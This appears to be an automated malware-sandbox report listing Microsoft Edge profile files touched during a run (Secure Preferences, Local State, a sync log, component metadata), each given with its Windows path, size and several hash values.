SSDEEP 192:sxRpRgyMqZjK1Ml8wc4/feysMRfAZUBM39zoA8pw/g6+WNIYUDY+GAIgjuJ:sxRpxC4/frsMxeUBJw/5Iw2j6
TLSH
T12362EA1A6A24593BCCD7D219FA857F93D6F81163A2505E04AEFC8B0C05E76ED221383F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 32KB
SHA256 0c3ab3b165d95b794fb98061493e0fb4dbe057e399e2f4d3ca89d32bfc2dfb89
MD5 60bc1663ba8d9ee6575529334342c75f
SHA1 104a8c34e8592f98d12cc2611fbdabacf7ef50c4
SHA512 c578875aab7da8c036299bd9aaa9d848f7a32ca323ba33dd6cd5bd8f29bfb23093ec3f8244852d9d4785d0e75169e6bc90aa9f87b84deca4448c24b2052cd924
SSDEEP 768:4eOlrA7pLuL7P6WgSYf9S8F1+UoAYDCx9Tuqh0VfUC9xbog/OVcFpuOGirocz:4eOlrME7P6WgSYf9Su1jajFpTG50
TLSH
T1DFE2FD3B680CCB7E4F80499CED29BD9A6DE802CF5AD8C95447EA440C03C66EF561A5DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 24KB
SHA256 4d090fb94a7068bc03367c8a2b477c191d70fe070ee71f1f77a9196d64febe9b
MD5 fd16bfe90b4c42b82ad29b6489d6d45a
SHA1 e29be15cd8e0a751c899c4f86fee5b0aa321f5f6
SHA512 8dd555063d50efddaef6d3da6665b5d32e3e3ea226b698d18b2bbabb2361509ea24a8d7265fe9ee655b8acf6b2a2fd003b1b475868b58f3a637248f9fe0f28a0
SSDEEP 768:UVI1zrZi+JK9ALXEj3EzXltd2tiXXnTdxSP36h3hY:UVI1zrZi+JK9ALXEj3EzXltd2tiXXnTW
TLSH
T122B27A5171BA1740387D280E93B9942F164630A230DEA97B7B6931E66F67F000FFCAD9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 26KB
SHA256 33c3bc51c8374c5d8f1ebdc353997e16c68a488fdd4892fea3fe1578a2ba8994
MD5 d4327fa3301ab11b6aafcf783aff8d2e
SHA1 03e83ffdd0ecdc078b151ddf16421f724a0d41e3
SHA512 303f8327eba1ed83c8b11285b7981c3292eb72260b14693161a3f4767ccfd64a87e0452c4f739ae45289491b8f534093f4353066183371d724cde9e8ac02169f
SSDEEP 768:NF1j+9Ktwg4jevn9N1KbEmxx/mn12bfJc:E9KErV10yJc
TLSH
T144C24A3AD8A4CA77ACE78FC9B70A7646EEE40267C1D859D8DAD81D4D01D32DD1307C2A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 27KB
SHA256 746716618c2e58e72b584489d69a505fafa2362f9dc0c120fe7444fd9ca8cd02
MD5 1c0298a9fa1e9b5e79a941b3f200a5d6
SHA1 cadeaf889fd1f233c8cb2843f4627c625f908aa2
SHA512 badb10682c8c2ab2260143327ce17a32c5a6dc204b2324f1e387b72bc8e3eadb4791df275170e34cd39b64f4734a4ca5b743b9578fc0bd81cbe7af3cd6a75dc7
SSDEEP 768:IF1j+9m9wg4AZvn9N1KbEmXfZOvKl8BvTPaC:l9m0pLfZoKl0WC
TLSH
T1A2C23A76D864CE67ADE78FC9B31A764BEEE4026781C859D8EAD81D0D00D32DD1347C2A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 27KB
SHA256 226e249f467e5323a4059b548c6d666255bab2b00a03f267d783d89e427b0ba1
MD5 301df58697fed0103e3f6f88f4ddccb9
SHA1 31cc97c96ed556a2ee76a343d7ca7a104f1d9661
SHA512 cc39db06b37c5256a43973b1e717b9bd021a07601044284c8ca3f11a7b2a7c52e65441665e94305d836c8e2aacf00b439264814ea723e06cfcc18bb369e3f135
SSDEEP 768:nF1j+9K9wg4AZvn9N1KbEmXf4GvKl8BvTPaC:O9K0pLf4gKl0WC
TLSH
T10EC23A76D8A4CE67ADE68FC9B70A764BEEE4026781C859D8DAD81D0D00932DD1347C2A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 27KB
SHA256 38bb24184e59fe05911d4412e0f927c57027b2840d471c7fe20b6f7baf6d597f
MD5 c91b17f59921fffae3c3234ca865e8d8
SHA1 d52f43e4f2699ede71967cdf33518c2d90485b22
SHA512 3a1ad32ac72124175d6679255bac45c89eff094046db292ab4657d995cf369a7de336d6e486ed74b48a045cd9174a6713ebfeebf390cabbf2c1bb345e233a670
SSDEEP 768:mF1j+9K9wg4AZvn9N1KbEmXf4GvKl8BvTPaC:T9K0pLf4gKl0WC
TLSH
T1EFC23A76D8A4CE67ADF68FC9B70A764BEEE40267C1C859D8DAD81D0D00932DD1347C2A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 972B
SHA256 5d1f4ee659b0986e20d542b66caf91b10fa6b61b1e5e81d5c6890615d9673ad7
MD5 6fb3440a800b48f983c953fc174fb931
SHA1 fcf59dcdb973f91920b8b9e9d4aae629b5fae631
SHA512 a5097e57803730bc31db660eee4d5e09473302c2ec88edfa70fdba1c1fe063650bd43c326014a7797efd5494d05802d53a4dcbd2a636baed54da6b11311db39d
TLSH
T1B11110F1983C29C2C47E0CEFA05B29E894E88215F4D43479685CFC94A27E65E6280C7F
MD5 SHA1 SHA512 TLSH

Submit Download